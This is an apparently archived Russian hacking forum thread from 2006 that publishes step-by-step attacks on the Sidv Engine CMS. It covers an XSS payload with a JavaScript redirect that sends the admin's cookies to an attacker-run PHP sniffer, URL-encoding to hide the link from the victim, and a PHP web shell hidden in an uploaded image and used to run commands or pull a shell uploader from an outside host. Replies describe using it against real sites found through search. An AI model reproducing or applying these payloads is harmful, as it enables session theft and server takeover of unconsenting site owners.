PDA

Просмотр полной версии : Уязвимости Sidv Engine


p-range
20.12.2006, 01:25
Script: Sidv Engine <= v3.031
Автор: p-range http://p-range.info/
Название: Уязвимости Sidv Engine

=============================
XSS
Пример как угнать куки админа
=============================
нашли xss
http://host/index.php?m=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Создаем файл cookie.js и пишем в нем:

location.href='http://твой_сайт_с_php/sniffer.php' + document.cookie;

Создаем файл sniffer.php

_
<?php
$cookie = $_SERVER['QUERY_STRING'];
if($cookie)
{
$fp = fopen("cookies.txt", "a+");
fwrite($fp, "Original: ".$cookie."\r\n"."UrlDecoded: ".urldecode($cookie)."\r\n\r\n");
fclose($fp);
header("Location: fbi.gov");
}
?>


Это код простейшего сниффера. Их полно в сети.

Создаем файл cookies.txt и ставим права на запись.
(В доведенный до ума снифер обычно включают различные проверки и нет необходимости создавать другие файлы)

В итоге получаем строчку:

<script src=http://твой_сайт_с_php/cookie.js></script>

Получаем урл вида:

http://host/index.php?m=<script src=http://http://твой_сайт_с_php/cookie.js></script>

Для того чтобы админ не запалил такой урл, кодируем его в ASCII.
Напишем небольшой скрипт для кодирования текста в ASCII.

_
<?php
echo '<form method="post" action="">html-код -> шестнадцатиричные значения<br>';
echo '<input type="text" name="text" size="30"> <input type="submit" value="encode"></form>';
if (isset($_POST['text']))
{
echo "<br><b>Результат:</b><br>";
$str=str_replace("%20","",$_POST['text']);
for($i=0;$i<strlen($str);$i++)
{
$hex=dechex(ord($str[$i]));
if ($str[$i]=='&') echo "$str[$i]";
else if ($str[$i]!='\\') echo "%$hex";
}
}
?>

Или воспользуемся скриптом от CodeRunner:

_
<script language = "JavaScript">

function str_to_ascii(str)
{
ascii_str = "";
for(var i = 0; i < str.length; i++)
{
chr = str.charAt(i)
chr_ascii = chr.charCodeAt()
ascii_str += chr_ascii+","
}
return ascii_str.slice(0, ascii_str.length - 1)
}
</script>
<center>
<br /><br /><br />
<font color="gray" face="Courier New" size=+2>_/_/ (C)oded by CodeRunner, Cold Fear Team \_\_</font>
<br /><br /><br /><br /><br />
<b>Введите текст<b> <input type=text name="str" size=65>
&nbsp;&nbsp;&nbsp;<button onclick="document.all.ascii.value=str_to_ascii(document.all .str.value)">
Получить ASCII
</button>
<br />
<br />
<center><b>Результат:</center>
<textarea name="ascii" ROWS=3 COLS=80></textarea>
<center/>
_

Кодируем и получаем:

http://host/index.php?m=%3C%73%63%72%69%70%74%20%73%72%63%3D%6 8%74%74%70%3A%2F%2 F%68%74%74%70%3A%2F%2F%3F%3F%3F%3F%5F%3F%3F%3F%3F% 5F%3F%5F%70%68%70%2F%63%6F%6F% 6B%69%65%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

Впариваем ссылку админу и ждем плюшек.

=============
PHP Injection
Получаем шелл
=============

[1] Открываем фотошоп, создаем картинку 60х60. Идем в File -> File Info и пишем в поле копирайтов:

<?php passthru($_GET['cmd']); include($_GET['sh']); ?>

У меня получилось примерно следующее:

_
GIF89...
<COPY><?php passthru($_GET[cmd]);?>
...;
_

Сохраняем картинку с именем image.php

[2] Регистрируемся на портале. Заходим в меню "Профиль". Из списка выбираем вкладку "Фотография". Ставим галочку на последнем пункте (Закачать фотографию), жмем обзор и выбираем наш image.php. Жмем Далее и видим сообщение "Сохранение вашей фотографии прошло успешно!".
Итак, теперь пишем простенький скрипт для загрузки файлов на сервер.


<?php
set_time_limit(0);
echo <<<HTML
<form enctype="multipart/form-data" action="" method="POST">
<input type="hidden" name="ac" value="upload">
<b><font color="red">Загругзка файла на сервер</font></b><br>
<b>File:</b><br>
<input size="48" name="file" type="file"><br>
<b>Path:</b><br>
<input size="48" name="path" type="text"> <input type="submit" value="upload"><br>
HTML;
if (isset($_POST['path']))
{
$upfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']=="")
{
$upfile = $_FILES['file']['name'];
}
if (copy($_FILES['file']['tmp_name'], $upfile))
{
echo "OK $upfile<br>";
echo "Name:" .$_FILES['file']['name']. "<br>";
echo "Size:" .$_FILES['file']['size']. "<br>";
} else {
print "Error: \n";
print_r($_FILES);
}
}
?>


Написали. Теперь заливаем его на сервер БЕЗ ПОДДЕРЖКИ PHP (Например narod.ru)
Запускаем скрипт так:

http://host/foto_images/image.php?sh=http://hack.narod.ru/up.php

Загружаем шелл через скрипт.

Или выполняем команды непосредственно из строки адреса:

http://host/foto_images/image.php?cmd=ls -la
http://host/foto_images/image.php?cmd=id

}{0TT@БЬ)Ч
20.12.2006, 01:49
p-range Респект +однозначно.

Thanat0z
20.12.2006, 06:00
Что-то не могу не один сайт найти с ним...или руки у меня не из того места, или спать пора


ЗЫ хорошая статья, только мне кажется не всё так легко будет

p-range
20.12.2006, 09:57
вчера попробовал поискать сайты с этим движком..
вбил в гугл "powered by sidv"
получил парочку шеллов. дальше не стал копать..

Thanat0z
21.12.2006, 04:33
хз, у меня из 5 подопытных ни один не сломался

p-range
21.12.2006, 10:01
Ты скажи что не получается, может что-то не так делаешь

p-range
21.12.2006, 14:07
Бага актуальна во всех версиях. Также на оф. Сайте движка sidv.com.ru. Скорее всего ты неправильно создал картинку со скриптом, потомучто на всех сайтах с этим движком которые я проверял, все работало

Thanat0z
21.12.2006, 15:31
Ты скажи что не получается, может что-то не так делаешь

все сделал как в статье, информацию о сайтах и логины, кинул тебе в асю.

Не получается выполнение IMAGE.php?cmd=ls
или тоже самое на удаленный сайт с пхп. Просто белая страница, или постоянный рефреш

DvOrnik
21.12.2006, 17:05
У меня тоже это неполучается постоянный рефреш.

p-range
21.12.2006, 17:32
все, вроде в асе разобрались что не так ;)
кому интересно, вот пример image.php
http://p-range.info/image.txt
просто измените расширение .txt на .php и действуйте ;)

Thanat0z
21.12.2006, 17:45
вроде разобрались в чем причина - надо юзать FireFox, или по крайней мере не ИЕ

DvOrnik отпиши мне в личку что хекать будешь :) А то у меня уже планы на 5 паг есть :)